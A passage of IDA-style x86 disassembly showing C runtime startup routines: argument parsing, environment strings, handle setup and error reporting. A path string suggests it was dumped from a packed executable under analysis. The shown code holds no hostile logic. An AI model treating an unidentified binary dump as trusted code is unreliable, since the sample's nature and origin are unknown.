		pop	ecx
		mov	dword_437E0C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41AA83
; ---------------------------------------------------------------------------


loc_41AA7B:				; CODE XREF: sub_41A95B+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41AA83:				; CODE XREF: sub_41A95B+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_7422DC, eax


loc_41AA8B:				; CODE XREF: sub_41A95B+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41AA99
; ---------------------------------------------------------------------------


loc_41AA90:				; CODE XREF: sub_41A95B+Fj
					; sub_41A95B+1Aj
		push	[ebp+arg_4]
		call	ds:off_41F198


loc_41AA99:				; CODE XREF: sub_41A95B+2Cj
					; sub_41A95B+133j
		pop	ebx
		pop	ebp
		retn
sub_41A95B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AA9C	proc near		; CODE XREF: sub_41A95B+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_437E08
		cmp	dword_437D88, edx
		push	esi
		mov	eax, offset dword_437D88
		jz	short loc_41AAC9
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:437D88h[esi*4]


loc_41AABE:				; CODE XREF: sub_41AA9C+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41AAC9
		cmp	[eax], edx
		jnz	short loc_41AABE


loc_41AAC9:				; CODE XREF: sub_41AA9C+16j
					; sub_41AA9C+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:437D88h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41AADC
		cmp	[eax], edx
		jz	short locret_41AADE


loc_41AADC:				; CODE XREF: sub_41AA9C+3Aj
		xor	eax, eax

locret_41AADE:				; CODE XREF: sub_41AA9C+3Ej
		retn
sub_41AA9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADF	proc near		; CODE XREF: .text:00415EB6p
		cmp	dword_74388C, 0
		jnz	short loc_41AAED
		call	sub_41A5D7


loc_41AAED:				; CODE XREF: sub_41AADF+7j
		push	esi
		mov	esi, dword_743884
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41AB1F


loc_41AAFA:				; CODE XREF: sub_41AADF+33j
					; sub_41AADF+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41AB17
		test	al, al
		jz	short loc_41AB17
		movzx	eax, al
		push	eax
		call	sub_41C9CF
		test	eax, eax
		pop	ecx
		jz	short loc_41AAFA
		inc	esi
		jmp	short loc_41AAFA
; ---------------------------------------------------------------------------


loc_41AB17:				; CODE XREF: sub_41AADF+21j
					; sub_41AADF+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41AB29


loc_41AB1C:				; CODE XREF: sub_41AADF+52j
		inc	esi
		jmp	short loc_41AB29
; ---------------------------------------------------------------------------


loc_41AB1F:				; CODE XREF: sub_41AADF+19j
		cmp	al, 20h
		jbe	short loc_41AB29


loc_41AB23:				; CODE XREF: sub_41AADF+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41AB23


loc_41AB29:				; CODE XREF: sub_41AADF+3Bj
					; sub_41AADF+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41AB33
		cmp	al, 20h
		jbe	short loc_41AB1C


loc_41AB33:				; CODE XREF: sub_41AADF+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41AADF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB37	proc near		; CODE XREF: .text:00415E9Fp
		push	ebx
		xor	ebx, ebx
		cmp	dword_74388C, ebx
		push	esi
		push	edi
		jnz	short loc_41AB49
		call	sub_41A5D7


loc_41AB49:				; CODE XREF: sub_41AB37+Bj
		mov	esi, dword_742278
		xor	edi, edi


loc_41AB51:				; CODE XREF: sub_41AB37+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41AB69
		cmp	al, 3Dh
		jz	short loc_41AB5C
		inc	edi


loc_41AB5C:				; CODE XREF: sub_41AB37+22j
		push	esi
		call	sub_413E90
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41AB51
; ---------------------------------------------------------------------------


loc_41AB69:				; CODE XREF: sub_41AB37+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_742254, esi
		jnz	short loc_41AB8B
		push	9
		call	sub_415F07
		pop	ecx


loc_41AB8B:				; CODE XREF: sub_41AB37+4Aj
		mov	edi, dword_742278
		cmp	[edi], bl
		jz	short loc_41ABCE
		push	ebp


loc_41AB96:				; CODE XREF: sub_41AB37+94j
		push	edi
		call	sub_413E90
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41ABC7
		push	ebp
		call	sub_413F0B
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41ABBA
		push	9
		call	sub_415F07
		pop	ecx


loc_41ABBA:				; CODE XREF: sub_41AB37+79j
		push	edi
		push	dword ptr [esi]
		call	sub_414FB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41ABC7:				; CODE XREF: sub_41AB37+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41AB96
		pop	ebp


loc_41ABCE:				; CODE XREF: sub_41AB37+5Cj
		push	dword_742278
		call	sub_413F7F
		pop	ecx
		mov	dword_742278, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_743888, 1
		pop	ebx
		retn
sub_41AB37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABF0	proc near		; CODE XREF: .text:00415E9Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_74388C, ebx
		push	esi
		push	edi
		jnz	short loc_41AC07
		call	sub_41A5D7


loc_41AC07:				; CODE XREF: sub_41ABF0+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	ds:dword_41F060	; GetModuleFileNameA
		mov	eax, dword_743884
		mov	off_742264, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41AC2C
		mov	edi, eax


loc_41AC2C:				; CODE XREF: sub_41ABF0+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41AC89
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_413F0B
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41AC5C
		push	8
		call	sub_415F07
		pop	ecx


loc_41AC5C:				; CODE XREF: sub_41ABF0+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41AC89
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_74224C, esi
		pop	edi
		pop	esi
		mov	dword_742248, eax
		pop	ebx
		leave
		retn
sub_41ABF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC89	proc near		; CODE XREF: sub_41ABF0+47p
					; sub_41ABF0+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41ACB3
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41ACB3:				; CODE XREF: sub_41AC89+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41ACFC


loc_41ACB8:				; CODE XREF: sub_41AC89+58j
					; sub_41AC89+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41ACEA
		test	dl, dl
		jz	short loc_41ACEA
		movzx	edx, dl
		test	byte_743761[edx], 4
		jz	short loc_41ACDD
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41ACDD
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41ACDD:				; CODE XREF: sub_41AC89+46j
					; sub_41AC89+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41ACB8
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41ACB8
; ---------------------------------------------------------------------------


loc_41ACEA:				; CODE XREF: sub_41AC89+36j
					; sub_41AC89+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41ACF4
		and	byte ptr [esi],	0
		inc	esi


loc_41ACF4:				; CODE XREF: sub_41AC89+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41AD3F
		inc	eax
		jmp	short loc_41AD3F
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41AC89+2Dj
					; sub_41AC89+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41AD07
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41AD07:				; CODE XREF: sub_41AC89+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_743761[ebx], 4
		jz	short loc_41AD22
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41AD21
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41AD21:				; CODE XREF: sub_41AC89+91j
		inc	eax


loc_41AD22:				; CODE XREF: sub_41AC89+8Bj
		cmp	dl, 20h
		jz	short loc_41AD30
		test	dl, dl
		jz	short loc_41AD34
		cmp	dl, 9
		jnz	short loc_41ACFC


loc_41AD30:				; CODE XREF: sub_41AC89+9Cj
		test	dl, dl
		jnz	short loc_41AD37


loc_41AD34:				; CODE XREF: sub_41AC89+A0j
		dec	eax
		jmp	short loc_41AD3F
; ---------------------------------------------------------------------------


loc_41AD37:				; CODE XREF: sub_41AC89+A9j
		test	esi, esi
		jz	short loc_41AD3F
		and	byte ptr [esi-1], 0


loc_41AD3F:				; CODE XREF: sub_41AC89+6Ej
					; sub_41AC89+71j ...
		and	[ebp+arg_10], 0


loc_41AD43:				; CODE XREF: sub_41AC89+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41AE2C


loc_41AD4C:				; CODE XREF: sub_41AC89+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41AD58
		cmp	dl, 9
		jnz	short loc_41AD5B


loc_41AD58:				; CODE XREF: sub_41AC89+C8j
		inc	eax
		jmp	short loc_41AD4C
; ---------------------------------------------------------------------------


loc_41AD5B:				; CODE XREF: sub_41AC89+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41AE2C
		test	edi, edi
		jz	short loc_41AD70
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41AD70:				; CODE XREF: sub_41AC89+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41AD75:				; CODE XREF: sub_41AC89+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41AD7E:				; CODE XREF: sub_41AC89+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41AD87
		inc	eax
		inc	ebx
		jmp	short loc_41AD7E
; ---------------------------------------------------------------------------


loc_41AD87:				; CODE XREF: sub_41AC89+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41ADB8
		test	bl, 1
		jnz	short loc_41ADB6
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41ADA5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41ADA5
		mov	eax, edx
		jmp	short loc_41ADA8
; ---------------------------------------------------------------------------


loc_41ADA5:				; CODE XREF: sub_41AC89+10Dj
					; sub_41AC89+116j
		mov	[ebp+arg_0], edi


loc_41ADA8:				; CODE XREF: sub_41AC89+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41ADB6:				; CODE XREF: sub_41AC89+106j
		shr	ebx, 1


loc_41ADB8:				; CODE XREF: sub_41AC89+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41ADCD
		inc	ebx


loc_41ADC0:				; CODE XREF: sub_41AC89+142j
		test	esi, esi
		jz	short loc_41ADC8
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41ADC8:				; CODE XREF: sub_41AC89+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41ADC0


loc_41ADCD:				; CODE XREF: sub_41AC89+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41AE1D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41ADE3
		cmp	dl, 20h
		jz	short loc_41AE1D
		cmp	dl, 9
		jz	short loc_41AE1D


loc_41ADE3:				; CODE XREF: sub_41AC89+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41AE17
		test	esi, esi
		jz	short loc_41AE06
		movzx	ebx, dl
		test	byte_743761[ebx], 4
		jz	short loc_41ADFF
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41ADFF:				; CODE XREF: sub_41AC89+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41AE15
; ---------------------------------------------------------------------------


loc_41AE06:				; CODE XREF: sub_41AC89+162j
		movzx	edx, dl
		test	byte_743761[edx], 4
		jz	short loc_41AE15
		inc	eax
		inc	dword ptr [ecx]


loc_41AE15:				; CODE XREF: sub_41AC89+17Bj
					; sub_41AC89+187j
		inc	dword ptr [ecx]


loc_41AE17:				; CODE XREF: sub_41AC89+15Ej
		inc	eax
		jmp	loc_41AD75
; ---------------------------------------------------------------------------


loc_41AE1D:				; CODE XREF: sub_41AC89+148j
					; sub_41AC89+153j ...
		test	esi, esi
		jz	short loc_41AE25
		and	byte ptr [esi],	0
		inc	esi


loc_41AE25:				; CODE XREF: sub_41AC89+196j
		inc	dword ptr [ecx]
		jmp	loc_41AD43
; ---------------------------------------------------------------------------


loc_41AE2C:				; CODE XREF: sub_41AC89+BDj
					; sub_41AC89+D5j
		test	edi, edi
		jz	short loc_41AE33
		and	dword ptr [edi], 0


loc_41AE33:				; CODE XREF: sub_41AC89+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41AC89	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE3D	proc near		; CODE XREF: .text:00415E90p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_7423E4
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41F03C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41AE8B
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AE6C
		mov	dword_7423E4, 1
		jmp	short loc_41AE94
; ---------------------------------------------------------------------------


loc_41AE6C:				; CODE XREF: sub_41AE3D+21j
		call	ds:off_41F1A4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41AF66
		mov	dword_7423E4, 2
		jmp	loc_41AF1A
; ---------------------------------------------------------------------------


loc_41AE8B:				; CODE XREF: sub_41AE3D+19j
		cmp	eax, 1
		jnz	loc_41AF15


loc_41AE94:				; CODE XREF: sub_41AE3D+2Dj
		cmp	esi, ebx
		jnz	short loc_41AEA4
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41AF66


loc_41AEA4:				; CODE XREF: sub_41AE3D+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41AEB9


loc_41AEAB:				; CODE XREF: sub_41AE3D+73j
					; sub_41AE3D+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41AEAB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41AEAB


loc_41AEB9:				; CODE XREF: sub_41AE3D+6Cj
		sub	eax, esi
		mov	edi, ds:dword_41F10C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41AF0A
		push	ebp
		call	sub_413F0B
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41AF0A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41AF06
		push	[esp+18h+var_8]
		call	sub_413F7F
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41AF06:				; CODE XREF: sub_41AE3D+B9j
		mov	ebx, [esp+18h+var_8]


loc_41AF0A:				; CODE XREF: sub_41AE3D+99j
					; sub_41AE3D+A8j
		push	esi
		call	ds:dword_41F1A0	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41AF68
; ---------------------------------------------------------------------------


loc_41AF15:				; CODE XREF: sub_41AE3D+51j
		cmp	eax, 2
		jnz	short loc_41AF66


loc_41AF1A:				; CODE XREF: sub_41AE3D+49j
		cmp	edi, ebx
		jnz	short loc_41AF2A
		call	ds:off_41F1A4
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41AF66


loc_41AF2A:				; CODE XREF: sub_41AE3D+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41AF3A


loc_41AF30:				; CODE XREF: sub_41AE3D+F6j
					; sub_41AE3D+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41AF30
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41AF30


loc_41AF3A:				; CODE XREF: sub_41AE3D+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41AF50
		xor	esi, esi
		jmp	short loc_41AF5B
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: sub_41AE3D+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4138F0
		add	esp, 0Ch


loc_41AF5B:				; CODE XREF: sub_41AE3D+111j
		push	edi
		call	ds:off_41F19C
		mov	eax, esi
		jmp	short loc_41AF68
; ---------------------------------------------------------------------------


loc_41AF66:				; CODE XREF: sub_41AE3D+39j
					; sub_41AE3D+61j ...
		xor	eax, eax


loc_41AF68:				; CODE XREF: sub_41AE3D+D6j
					; sub_41AE3D+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41AE3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF6F	proc near		; CODE XREF: .text:00415E80p

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41AF8F
		push	1Bh
		call	sub_415F07
		pop	ecx


loc_41AF8F:				; CODE XREF: sub_41AF6F+16j
		mov	dword_743540, esi
		mov	dword_743640, 20h
		lea	eax, [esi+100h]


loc_41AFA5:				; CODE XREF: sub_41AF6F+52j
		cmp	esi, eax
		jnb	short loc_41AFC3
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_743540
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41AFA5
; ---------------------------------------------------------------------------


loc_41AFC3:				; CODE XREF: sub_41AF6F+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	ds:off_41F15C
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41B09F
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41B09F
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41AFF9
		mov	esi, eax


loc_41AFF9:				; CODE XREF: sub_41AF6F+86j
		cmp	dword_743640, esi
		jge	short loc_41B053
		mov	edi, offset dword_743544


loc_41B006:				; CODE XREF: sub_41AF6F+DAj
		push	100h
		call	sub_413F0B
		test	eax, eax
		pop	ecx
		jz	short loc_41B04D
		add	dword_743640, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41B024:				; CODE XREF: sub_41AF6F+CFj
		cmp	eax, ecx
		jnb	short loc_41B040
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41B024
; ---------------------------------------------------------------------------


loc_41B040:				; CODE XREF: sub_41AF6F+B7j
		add	edi, 4
		cmp	dword_743640, esi
		jl	short loc_41B006
		jmp	short loc_41B053
; ---------------------------------------------------------------------------


loc_41B04D:				; CODE XREF: sub_41AF6F+A4j
		mov	esi, dword_743640


loc_41B053:				; CODE XREF: sub_41AF6F+90j
					; sub_41AF6F+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41B09F


loc_41B059:				; CODE XREF: sub_41AF6F+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B096
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41B096
		test	cl, 8
		jnz	short loc_41B078
		push	eax
		call	ds:dword_41F030	; GetFileType
		test	eax, eax
		jz	short loc_41B096


loc_41B078:				; CODE XREF: sub_41AF6F+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_743540[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41B096:				; CODE XREF: sub_41AF6F+EFj
					; sub_41AF6F+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41B059


loc_41B09F:				; CODE XREF: sub_41AF6F+65j
					; sub_41AF6F+71j ...
		xor	ebx, ebx


loc_41B0A1:				; CODE XREF: sub_41AF6F+195j
		mov	eax, dword_743540
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41B0FC
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41B0BC
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41B0C6
; ---------------------------------------------------------------------------


loc_41B0BC:				; CODE XREF: sub_41AF6F+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41B0C6:				; CODE XREF: sub_41AF6F+14Bj
		push	eax
		call	ds:dword_41F034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41B0EB
		push	edi
		call	ds:dword_41F030	; GetFileType
		test	eax, eax
		jz	short loc_41B0EB
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41B0F1


loc_41B0EB:				; CODE XREF: sub_41AF6F+163j
					; sub_41AF6F+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41B100
; ---------------------------------------------------------------------------


loc_41B0F1:				; CODE XREF: sub_41AF6F+17Aj
		cmp	eax, 3
		jnz	short loc_41B100
		or	byte ptr [esi+4], 8
		jmp	short loc_41B100
; ---------------------------------------------------------------------------


loc_41B0FC:				; CODE XREF: sub_41AF6F+13Ej
		or	byte ptr [esi+4], 80h


loc_41B100:				; CODE XREF: sub_41AF6F+180j
					; sub_41AF6F+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41B0A1
		push	dword_743640
		call	ds:dword_41F038	; SetHandleCount
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41AF6F	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B124	proc near		; DATA XREF: .text:00415E1Bo
					; sub_418516+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41B1C4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41B157:				; CODE XREF: sub_41B124+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41B1BD
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41B1AB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41B1AB
		js	short loc_41B1B6
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4144AC
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4144EE
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_414582
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41B1AB:				; CODE XREF: sub_41B124+40j
					; sub_41B124+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41B157
; ---------------------------------------------------------------------------


loc_41B1B6:				; CODE XREF: sub_41B124+54j
		mov	eax, 0
		jmp	short loc_41B1D9
; ---------------------------------------------------------------------------


loc_41B1BD:				; CODE XREF: sub_41B124+36j
		mov	eax, 1
		jmp	short loc_41B1D9
; ---------------------------------------------------------------------------


loc_41B1C4:				; CODE XREF: sub_41B124+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4144EE
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41B1D9:				; CODE XREF: sub_41B124+97j
					; sub_41B124+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41B124	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4144EE
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41B1FC	proc near		; CODE XREF: sub_415F07+9p
					; sub_415F2C+9p
		mov	eax, dword_742280
		cmp	eax, 1
		jz	short loc_41B213
		test	eax, eax
		jnz	short locret_41B234
		cmp	dword_4377A4, 1
		jnz	short locret_41B234


loc_41B213:				; CODE XREF: sub_41B1FC+8j
		push	0FCh
		call	sub_41B235
		mov	eax, dword_7423E8
		pop	ecx
		test	eax, eax
		jz	short loc_41B229
		call	eax


loc_41B229:				; CODE XREF: sub_41B1FC+29j
		push	0FFh
		call	sub_41B235
		pop	ecx

locret_41B234:				; CODE XREF: sub_41B1FC+Cj
					; sub_41B1FC+15j
		retn
sub_41B1FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B235	proc near		; CODE XREF: sub_415F07+12p
					; sub_415F2C+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_437E18


loc_41B248:				; CODE XREF: sub_41B235+20j
		cmp	edx, [eax]
		jz	short loc_41B257
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_437EA8
		jl	short loc_41B248


loc_41B257:				; CODE XREF: sub_41B235+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_437E18[esi]
		jnz	loc_41B385
		mov	eax, dword_742280
		cmp	eax, 1
		jz	loc_41B35F
		test	eax, eax
		jnz	short loc_41B288
		cmp	dword_4377A4, 1
		jz	loc_41B35F


loc_41B288:				; CODE XREF: sub_41B235+44j
		cmp	edx, 0FCh
		jz	loc_41B385
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	ds:dword_41F060	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41B2BF
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
